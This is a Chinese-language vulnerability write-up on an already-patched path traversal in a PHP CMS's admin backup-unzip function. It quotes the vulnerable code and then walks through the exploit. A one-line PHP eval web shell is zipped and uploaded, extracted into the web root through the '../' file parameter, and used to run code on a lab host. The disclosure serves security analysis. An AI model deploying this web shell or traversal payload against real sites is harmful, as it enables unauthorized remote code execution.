厂商已确认并在最新版本中已修复该漏洞。

源码分析

该漏洞问题代码存在于:/app/system/databack/admin/index.class.php,第943-974

源码如下:

    /*解压ZIP*/
    public function dounzip_upload()
    {
        global $_M;
        $redata = array();
        $file = $_M['form']['file'];
        $zipname = PATH_WEB . ADMIN_FILE . '/databack/upload/' . $file;

        if (file_exists($zipname)) {
            #rename(PATH_WEB . 'upload', PATH_WEB . 'upload' . date('Ymd'));
            $zip = new ZipArchive;
            if ($zip->open($zipname) === TRUE) {
                $zip->extractTo(PATH_WEB);
                $zip->close();
                //写日志
                logs::addAdminLog('databackup2','webupate7','webupate3','dounzip_upload');
                $redata['status'] = 1;
                $redata['msg'] = $_M['word']['webupate3'];
            } else {
                //写日志
                logs::addAdminLog('databackup2','webupate7','webupate4','dounzip_upload');
                $redata['status'] = 0;
                $redata['msg'] = $_M['word']['webupate4'];
            }
        } else {
            //写日志
            logs::addAdminLog('databackup2','webupate7','webupate5','dounzip_upload');
            $redata['status'] = 0;
            $redata['msg'] = $_M['word']['webupate5'];
        }
        $this->ajaxReturn($redata);
    }

主要看948-949这两行代码:

	$file = $_M['form']['file'];
    $zipname = PATH_WEB . ADMIN_FILE . '/databack/upload/' . $file;

我们可以看到$file从表单获取后并未做任何过滤,直接拼接到要解压的文件路径中


漏洞利用

首先进入后台,选择“备份与恢复”标签,看到可以备份上传的文件,我们点击备份,可以看到此时已经生成了一个压缩文件,此时该文件位于:/admin/databack/upload/。重要的是还提供了解压功能

Alt text Alt text Alt text


此时我们注意到这里还存在一个上传sql和zip文件的功能,那么我们在本地创建一个shell.php(内容为<?php @eval($_POST['pass']);?>),将其压缩为shell.zip,然后上传。

此时shell.zip位于:/upload/sql/ Alt text Alt text


然后我们选择“解压”,抓包发现GET传递的file参数就是要解压的文件名。应该也就是后台接收的$file的值。 Alt text Alt text


接下来我们修改file参数的值为:../../../upload/sql/shell.zip,可以看到解压成功 Alt text


最终我们访问http://192.168.177.162/shell.php,POST传参pass=phpinfo();,可以看到命令被执行: Alt text